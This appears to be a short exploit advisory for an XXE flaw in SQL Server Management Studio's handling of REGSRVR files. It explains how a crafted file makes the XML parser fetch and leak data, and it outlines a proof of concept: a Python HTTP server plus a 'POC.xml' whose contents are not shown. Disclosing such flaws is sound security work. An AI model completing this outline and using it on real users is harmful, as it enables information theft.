# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable
# installations of Microsoft SQL Server Management Studio. User interaction is required to
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
# The specific flaw exists within the handling of REGSRVR files. Due to the improper
# restriction of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the
# XML parser to access the URI and embed the contents back into the XML document for further processing.
# An attacker can leverage this vulnerability to disclose information in the context of the current process.
# Exploit/POC
# 1) python -m SimpleHTTPServer
# 2) "POC.xml"
